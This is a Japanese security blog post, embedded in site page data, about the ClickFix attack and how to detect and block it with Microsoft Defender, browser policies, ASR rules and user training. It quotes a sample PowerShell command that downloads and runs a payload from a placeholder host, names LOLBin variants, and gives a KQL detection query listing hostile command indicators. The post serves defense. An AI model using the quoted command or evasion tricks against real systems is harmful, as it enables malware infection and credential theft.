[{"data":1,"prerenderedAt":1663},["ShallowReactive",2],{"sc:header-data-ja":3,"sc:footer-data-ja":489,"post-ja--posts-2026-09-21-clickfix-prevent-detect-153089af333d97":519,"authors_data":1085,"content-ja-list-7b291c2dd91a4":1438,"authors_data:Fritz Zurhorst|Nadine Klein":1659},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"ja":13},{"title":14,"url":15,"alt":16},"ホーム","/ja","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"ja":21},{"title":22,"description":23},"Workplace","Microsoft 365を基盤に、スマートで安全な、柔軟性の高いワークプレイスを実現します。最新のテクノロジーとアイデンティティサービスが一つにつながります。",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"ja":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"ja":34},{"title":35,"url":36},"Managed Intune","/ja/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"ja":40},{"title":41,"url":42},"Managed Entra","/ja/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"ja":46},{"title":47,"url":48},"Managed Workplace","/ja/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"ja":52},{"title":53,"url":54},"Consulting Services","/ja/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"ja":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"ja":64},{"title":65,"url":66},"Microsoft Entra Suite","/ja/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"ja":70},{"title":71,"url":72},"Microsoft Intune","/ja/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"ja":76},{"title":77,"url":78},"Microsoft Windows","/ja/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"ja":82},{"title":83,"url":84},"Windows 365 Cloud PC","/ja/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"ja":88},{"title":89,"url":90},"Cloud Workplace Foundation","/ja/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"ja":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"ja":100},{"title":101,"url":102},"Microsoft 365 Copilot","/ja/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"ja":106},{"title":107,"url":108},"Teams","/ja/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"ja":112},{"title":113,"url":114},"SharePoint & Power Platform","/ja/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"ja":118},{"title":119,"url":120},"Exchange Online","/ja/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"ja":124},{"title":125,"url":126},"Information Protection & Compliance","/ja/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"ja":130},{"title":131,"description":132},"Azure","Azureで成長を後押しします。IaaSとPaaSによって、クラウドのコストを下げ、効率を高め、イノベーションを進めます。",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"ja":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"ja":142},{"title":143,"url":144},"Azure Managed Services","/ja/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"ja":148},{"title":149,"url":150},"Azure Consulting","/ja/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"ja":154},{"title":155},"シナリオ",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"ja":160},{"title":161,"url":162},"クラウドを計画する","/ja/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"ja":166},{"title":167,"url":168},"クラウドへ移行する","/ja/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"ja":172},{"title":173,"url":174},"ビジネスを刷新する","/ja/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"ja":178},{"title":179,"url":180},"VMware戦略を立て直す","/ja/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"ja":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"ja":190},{"title":191,"url":192},"Azure Foundation","/ja/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"ja":196},{"title":197,"url":198},"Azure AI Foundation","/ja/azure/azure-ai-foundation",{"name":86,"languages":200},{"ja":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"ja":205},{"title":206,"url":207},"Azure Data Foundation","/ja/azure/azure-data-foundation",{"name":188,"languages":209},{"ja":210},{"title":211,"url":212},"Azure Container Foundation","/ja/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"ja":216},{"title":217,"url":218},"Managed Dark Tenant","/ja/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"ja":222},{"title":223,"url":224},"Cloud Adoption Framework","/ja/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"ja":228},{"title":229,"url":230},"Cloud Competence Center","/ja/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"ja":234},{"title":235,"description":236,"emergency":237},"Security","受賞歴のある24時間365日のManaged Service、インシデント対応、最新水準の保護で、クラウドの安全を見守り、インフラを守ります。",{"text":238,"href":239,"skin":240,"icon":241},"サイバー攻撃の渦中ですか？","/ja/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"ja":249},{"title":250,"url":251},"Managed Red Tenant","/ja/security/managed-red-tenant",{"name":214,"languages":253},{"ja":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"ja":259},{"title":260,"url":261},"Sentinel Data Lake","/ja/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"ja":265},{"title":266,"url":267},"Security Consulting","/ja/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"ja":274},{"title":275,"url":276},"Cloud Security Operations Center","/ja/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"ja":280},{"title":281,"url":282},"Global Secure Access","/ja/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"ja":286},{"title":287,"url":288},"MyWorkID","/ja/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"ja":295},{"title":296,"url":297},"Preventive Services","/ja/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"ja":301},{"title":302,"url":303},"Data Security Service","/ja/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"ja":307},{"title":308,"url":309},"Security Copilot Agents","/ja/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"ja":313},{"title":314,"url":315},"NIS2を技術で実装する","/ja/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"ja":319},{"title":320,"description":321},"製品","完全に安全で100%クラウドネイティブなMicrosoft環境のためのCompanion製品です。協働、ネットワーク認証、ソフトウェア管理を強化します。",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"ja":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","クラウドベースのソフトウェア配布",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"ja":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","クラウドからの証明書配布",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"ja":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Office 365のデータをローカルで利用",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"ja":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","サーバー間のデータ移行",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"ja":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Microsoft 365向けのTerraform Provider",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"ja":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","ネットワークの認証",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"ja":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Microsoft Teamsで連絡先を探す",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"ja":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilotのリアルタイム監視",{"name":396,"languages":397},"casestudies",{"ja":398},{"title":399,"url":400,"description":401},"導入事例","/ja/casestudies","当社はクラウドの先駆者として、包括的なクラウドソリューションを提供するMicrosoftのトップパートナーです。ブループリントに基づくアプローチとInfrastructure as Codeの知見が土台にあります。",{"name":403,"languages":404,"children":407},"company",{"ja":405},{"title":406,"description":401},"会社",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"ja":411},{"title":412},"会社概要",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"ja":417},{"title":418,"url":419},"Facts & Figures","/ja/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"ja":423},{"title":424,"url":425},"お問い合わせと拠点","/ja/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"ja":429},{"title":430,"url":431},"スイスのglueckkanja","/ja/company/switzerland",{"name":433,"languages":434},"austria",{"ja":435},{"title":436,"url":437},"オーストリアのglueckkanja","/ja/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"ja":441},{"title":442},"キャリア",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"ja":447},{"title":448,"url":449},"採用情報","/ja/career",{"name":451,"languages":452},"company-young-professionals",{"ja":453},{"title":454,"url":455},"Young Professionals","/ja/young-professionals",{"name":457,"languages":458},"company-jobs",{"ja":459},{"title":460,"url":461},"募集職種","/ja/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"ja":465},{"title":466},"最新情報",[468,474],{"name":469,"languages":470},"company-blog",{"ja":471},{"title":472,"url":473},"ブログ","/ja/blog",{"name":469,"languages":475},{"ja":476},{"title":477,"url":478},"イベント","/ja/events",[480],{"name":481,"languages":482},"career-meta",{"ja":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"ja":487},{"title":488,"url":425,"active":484},"お問い合わせ",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksJa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"プライバシーポリシー","/ja/privacy",{"title":514,"url":515},"運営者情報","/ja/imprint",{"title":517,"url":518},"Cookieなし","/ja/cookies",{"id":520,"title":521,"author":522,"body":525,"cta":494,"description":577,"eventid":494,"extension":1037,"hideInRecent":484,"layout":1038,"meta":1039,"moment":1043,"navigation":325,"path":1077,"seo":1078,"stem":1079,"tags":1080,"webcast":484,"__hash__":1084},"content_ja/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix。ユーザー自身がエクスプロイトになるとき、そしてそれを止める方法",[523,524],"Fritz Zurhorst","Nadine Klein",{"type":526,"value":527,"toc":1026},"minimal",[528,533,537,540,547,555,558,564,567,587,598,604,610,613,617,619,622,625,628,630,633,647,651,653,660,740,757,760,764,766,769,784,787,790,794,796,799,802,827,831,833,836,843,847,849,852,878,881,884,887,986,989,992,995,1006,1009,1012,1014,1022],[529,530,532],"h2",{"id":531},"clickfixの攻撃チェーン","ClickFixの攻撃チェーン",[534,535,536],"p",{},"{: .h3-font-size}",[534,538,539],{},"ClickFixは、ユーザーが自分自身への攻撃者になる攻撃です。エクスプロイトも脆弱性も使いません。被害者がたった一度のコピー＆ペーストで、悪意あるコードを自分で実行します。",[534,541,542],{},[543,544],"img",{"alt":545,"src":546},"5段階のClickFix攻撃チェーン：おとり、トリック、コピー＆ペースト、実行、感染。","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[534,548,549,550,554],{},"おとりはソーシャルエンジニアリングです。悪意あるサイト上の偽のCAPTCHA、偽のサポート通知（「ブラウザの更新が必要です」）、フィッシングメール、あるいは偽の会議ページなどです。被害者がページを開いている間に、JavaScriptが",[551,552,553],"code",{},"clipboard.writeText()","でペイロードをクリップボードに書き込みます。そのうえでページは、Win+R、Ctrl+V、Enterを押すようユーザーに促します。ファイル名を指定して実行のダイアログは、クリップボードにあるものを起動します。",[534,556,557],{},"典型的なおとりはこのように見えます。",[534,559,560],{},[543,561],{"alt":562,"src":563},"偽のCAPTCHAおとりのスクリーンショット。WinとXを押し、次に貼り付けてEnterでコマンドを実行するようユーザーに促している。","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[534,565,566],{},"クリップボードに置かれるコマンドはこのようなものです。",[568,569,571],"div",{"style":570},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[572,573,578],"pre",{"className":574,"code":575,"language":576,"meta":577,"style":577},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell","",[551,579,580],{"__ignoreMap":577},[581,582,585],"span",{"class":583,"line":584},"line",1,[581,586,575],{},[534,588,589,590,593,594,597],{},"同時に2つのことが起きます。PowerShellが隠しウィンドウで起動し（",[551,591,592],{},"-w h","）、",[551,595,596],{},"iex(irm …)","がペイロードをダウンロードしてメモリ上で直接実行します。ディスクには何も残らないため、シグネチャベースのアンチウイルスにはスキャンする対象がありません。第2段階はたいていインフォスティーラー（Lumma、Vidar、RedLine、StealC）、リモートアクセス型トロイの木馬、あるいはランサムウェアのローダーです。",[534,599,600,601,603],{},"同じパターンをMicrosoft Defenderのテレメトリで見ると、Windows Terminalから起動された隠しPowerShellが",[551,602,596],{},"を実行しています。",[534,605,606],{},[543,607],{"alt":608,"src":609},"WindowsTerminal.exeからpwsh.exe、powershell.exeへと続くプロセスチェーンがiex(irm …)コマンドを実行しているMicrosoft Defenderのinspect record。","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[534,611,612],{},"これがこれほどうまく機能する理由は、すべてがユーザーコンテキストで、昇格された権限なしに実行されるからです。Cookie、保存されたパスワード、セッショントークンは標準ユーザーの手の届く範囲にあります。攻撃者は目的のものを手に入れるために権限を昇格させる必要がありません。",[529,614,616],{"id":615},"microsoft-defenderが検知するもの","Microsoft Defenderが検知するもの",[534,618,536],{},[534,620,621],{},"Microsoftはこの数か月、ClickFixの検知に多くを投じてきました。Defenderが健全で正しく設定されていれば、ClickFixのペイロードに対してネイティブの検知が得られます。2025年第2四半期以降、MDEは「Suspicious 'ClickFix' behavior detected」「Malicious PowerShell command executed via Run dialog」「An active 'Pacalau' malware in a command line was prevented from executing」といったタイトルで、振る舞いベースのアラートを出しています。これらはプロセスチェーンの分析を通じてMDEのクラウドエンジンから発報され、AVの検知と並行して、多くの場合は数秒早く上がります。",[534,623,624],{},"これを可能にする設定については、後述の実行のハードニングで扱います。",[529,626,627],{"id":627},"ネイティブ検知が限界に達するところ",[534,629,536],{},[534,631,632],{},"クラウドベースのMLシグネチャは、発火するまでに時間がかかります。PowerShellの起動からDefenderのアラートまで1分を超える隙間が生じるのを、当社は定常的に観測しています。より速いペイロードはこの時間差をすり抜けます。",[534,634,635,636,638,639,642,643,646],{},"さらに攻撃者の適応も速いです。",[551,637,576],{},"を",[551,640,641],{},"mshta http://...","や",[551,644,645],{},"msiexec /i http://...","に置き換えれば、どちらも定番のLOLBinですが、PowerShellに特化した検知はもう働きません。",[529,648,650],{"id":649},"その隙間を埋めるrunmruハント","その隙間を埋める：RunMRUハント",[534,652,536],{},[534,654,655,656,659],{},"この隙間はカスタム検知で埋めます。出発点は、ユーザーがWin+Rダイアログに入力したコマンドをすべて記録するレジストリキー",[551,657,658],{},"RunMRU","に対するKQLクエリです。",[568,661,662],{"style":570},[572,663,667],{"className":664,"code":665,"language":666,"meta":577,"style":577},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[551,668,669,674,680,686,692,698,704,710,716,722,728,734],{"__ignoreMap":577},[581,670,671],{"class":583,"line":584},[581,672,673],{},"DeviceRegistryEvents\n",[581,675,677],{"class":583,"line":676},2,[581,678,679],{},"| where ActionType =~ \"RegistryValueSet\"\n",[581,681,683],{"class":583,"line":682},3,[581,684,685],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[581,687,689],{"class":583,"line":688},4,[581,690,691],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[581,693,695],{"class":583,"line":694},5,[581,696,697],{},"| where RegistryValueData has \" ✅ \"\n",[581,699,701],{"class":583,"line":700},6,[581,702,703],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[581,705,707],{"class":583,"line":706},7,[581,708,709],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[581,711,713],{"class":583,"line":712},8,[581,714,715],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[581,717,719],{"class":583,"line":718},9,[581,720,721],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[581,723,725],{"class":583,"line":724},10,[581,726,727],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[581,729,731],{"class":583,"line":730},11,[581,732,733],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[581,735,737],{"class":583,"line":736},12,[581,738,739],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[534,741,742,743,746,747,746,750,746,753,756],{},"このクエリは、ClickFixのコマンドらしく見えるWin+Rのエントリをすべてマークします。PowerShell、mshta、curl、msiexecが、",[551,744,745],{},"-w hidden","、",[551,748,749],{},"iex",[551,751,752],{},"irm",[551,754,755],{},"DownloadString","、Base64エンコードされたペイロードといった典型的な指標と組み合わさっている場合です。微妙な手口も捉えます。多くの偽CAPTCHAのおとりがコマンドの前に置く緑のチェックマーク絵文字。攻撃者がテキストを偽装して単純な文字列フィルタを回避するために使う、キリル文字、アラビア文字、タイ文字などの領域のUnicode文字。これらのパターンのいずれかがWin+Rのエントリに現れたなら、まさにいまClickFix攻撃が進行している可能性が非常に高いです。",[534,758,759],{},"CSOCをご利用のお客様に対しては、当社がこれらをはじめとするカスタム検知を運用し、新しい攻撃手法と標準搭載の検知との間の隙間を埋めています。",[529,761,763],{"id":762},"防御レイヤー1配信をブロックする","防御レイヤー1：配信をブロックする",[534,765,536],{},[534,767,768],{},"ここからは予防の話です。ClickFixは広く使われていて成功率も高いため、単一の防御では足りません。当社は配信から実行まで、レイヤーで対処します。",[534,770,771,772,775,776,779,780,783],{},"Network Protectionは、既知の配信ドメインとC2サーバーをすべてのブラウザに対してブロックします。MDEのWeb Content Filteringが「Newly registered domains」「Hacking」「Illegal Software」といったカテゴリーで補完します。Network ProtectionはWindowsに組み込まれていますが、サードパーティ製ブラウザではQUICとECHを無効化する必要があります。どちらも接続全体を暗号化し、宛先ドメインを隠すためです。ChromeとFirefoxではエンタープライズポリシーでQUICを無効化し（Chromeでは",[551,773,774],{},"QuicAllowed = Disabled","、Firefoxでは",[551,777,778],{},"network.http.http3.enable = false","）、ECHについてはChromeで",[551,781,782],{},"EncryptedClientHelloEnabled = Disabled","を設定します。",[534,785,786],{},"EdgeではSmartScreenを有効化します。サードパーティ製ブラウザでは、それぞれに組み込まれたSafe Browsingを有効にします。これはNetwork Protectionと同じものではありませんが、有害なサイトのフィルタリングには役立ちます。メール経路については、Safe LinksとSafe Attachmentsがユーザーの操作前にリンクと添付ファイルを検査します。",[534,788,789],{},"難点は、これらがすべて既知のインフラにしか効かないことです。現在のClickFixキャンペーンは、識別とブロックが間に合わない新規登録のインフラを使い、ときには攻撃者が侵害した正規サイトを使います。ですから次に、おとりが届いた後で何が守ってくれるのかを見ていきます。",[529,791,793],{"id":792},"防御レイヤー2トリックをブロックする","防御レイヤー2：トリックをブロックする",[534,795,536],{},[534,797,798],{},"ユーザーが悪意あるサイトにいる間にハードルを上げるEdgeの機能がいくつかあります。ブラウザ拡張機能のガバナンスは、ClickFixのオーバーレイを挿入したりクリップボードを操作したりする悪意ある拡張や侵害された拡張を、ユーザーがインストールするのを防ぎます。Edge Enhanced Security Modeは、未知のサイトや訪問頻度の低いサイトにより厳しい保護を適用し（JITの無効化、Control Flow Guard、ハードウェア支援のスタック保護）、エクスプロイトを利用したブラウザ乗っ取りを大幅に難しくします。Typo Protectionはタイポスクワッティングのドメイン（micros0ft.com、paypa1.com）について警告し、偽のブランドドメインを経由する一般的なClickFixの配信経路をブロックします。",[534,800,801],{},"技術的な統制は半分にすぎません。ユーザーへの啓発は依然として決定的です。大部分を支える一つの原則はこうです。ウェブサイトが何かをコンピューターに貼り付けるよう求めてきたら、それは攻撃です。啓発トレーニングではこれを具体的に扱ってください。",[803,804,806,807,806,815,806,821],"ul",{"style":805},"margin: 0.25rem 0","\n  ",[808,809,810,814],"li",{},[811,812,813],"strong",{},"実物のおとりを見せる:"," 偽の「Verify you are human」チェックボックス、「ブラウザの更新が必要です」、「ドキュメントをレンダリングできませんでした。この修正を実行してください」、壊れたTeamsやZoomの音声プロンプトなど。",[808,816,817,820],{},[811,818,819],{},"クリップボードの手口を実演する:"," ページが黙ってクリップボードを書き換える様子を見せる。",[808,822,823,826],{},[811,824,825],{},"報告を簡単にする:"," 素早く、責めずに。",[529,828,830],{"id":829},"防御レイヤー3操作をブロックする","防御レイヤー3：操作をブロックする",[534,832,536],{},[534,834,835],{},"ここにはシステムをハードニングする方法がいくつかありますが、どれも保証にはなりません。まずはファイル名を指定して実行のダイアログを無効化するところから始めます。これでWin+Rという入口が消えます。MicrosoftのClickFixガイダンスも、「where it isn't necessary」無効化することを推奨しています。これは特定のWin+Rペースト攻撃を封じますが、エクスプローラーのアドレスバーやWindows Terminalといった代替の起動口は残ります。",[534,837,838,839,842],{},"Edgeはさらに",[551,840,841],{},"DefaultClipboardSetting","でハードニングできます。これによりJavaScriptが黙ってクリップボードに書き込むのを防げます。",[529,844,846],{"id":845},"防御レイヤー4実行をブロックする","防御レイヤー4：実行をブロックする",[534,848,536],{},[534,850,851],{},"高度な機能に進む前に、基本を整えてください。ClickFixについてはこうなります。",[803,853,806,854,806,860,806,866,806,872],{"style":805},[808,855,856,859],{},[811,857,858],{},"ローカル管理者権限の削減:"," コード実行の影響を限定するため、可能な限りエンドユーザーからローカル管理者権限を外す。",[808,861,862,865],{},[811,863,864],{},"Endpoint Privilege Management（EPM）:"," ユーザーを標準ユーザーとして作業させ、承認済みのアプリだけをポリシー規則で昇格させる。",[808,867,868,871],{},[811,869,870],{},"UACのハードニング:"," セキュアデスクトップの強制、管理者と標準ユーザーに対するプロンプトの挙動、インストーラー検出を確認する。",[808,873,874,877],{},[811,875,876],{},"Credential Guard:"," NTLMハッシュ、Kerberosチケットなどの資格情報を仮想化ベースのセキュリティで隔離し、攻撃者が管理者権限を得ても資格情報の窃取が困難なままになるようにする。",[534,879,880],{},"これらの統制は昇格の可能性を減らし、資格情報を保護し、最小権限を強制します。その限界は、侵害後に何が起きるかを制限するものだという点です。標準ユーザーのコンテキストにいるインフォスティーラーが、そのユーザーから読めるCookie、セッショントークン、アプリの資格情報ストアを読み出すのを止めることはできません。",[534,882,883],{},"次にMicrosoft Defenderです。Defender AVは第2段階のペイロードを検知できますが、それには正しい設定が必要です。Cloud Protectionを有効にし、保護レベルをHighまたはHigh+に設定します。AMSI、すなわちAntimalware Scan Interfaceは、メモリ上で復号または難読化解除された後、実行される前の内容を、アプリケーションがDefenderに検査のために渡せるようにするものです。PowerShellは悪意あるコードの識別にAMSIを利用し、AMSIにはリアルタイム保護と動作監視が必要です。",[534,885,886],{},"ClickFixに関係するAttack Surface Reductionのルールは少なくとも5つあります。",[568,888,890],{"style":889},"margin: 0.5rem 0 2rem; overflow-x: auto",[891,892,806,894,806,913],"table",{"style":893},"width:100%; border-collapse: collapse; font-size: 0.85rem",[895,896,897,898,806],"thead",{},"\n    ",[899,900,901,902,901,907,901,910,897],"tr",{},"\n      ",[903,904,906],"th",{"style":905},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","ルール",[903,908,909],{"style":905},"GUID",[903,911,912],{"style":905},"ClickFixとの関連",[914,915,897,916,897,932,897,947,897,960,897,973,806],"tbody",{},[899,917,901,918,901,923,901,929,897],{},[919,920,922],"td",{"style":921},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","難読化された可能性のあるスクリプトの実行をブロックする",[919,924,926],{"style":925},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[551,927,928],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[919,930,931],{"style":921},"実行フェーズと回避フェーズでの難読化またはエンコードされたスクリプト",[899,933,901,934,901,938,901,944,897],{},[919,935,937],{"style":936},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","JavaScriptまたはVBScriptがダウンロードした実行可能コンテンツを起動するのを防ぐ",[919,939,941],{"style":940},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: 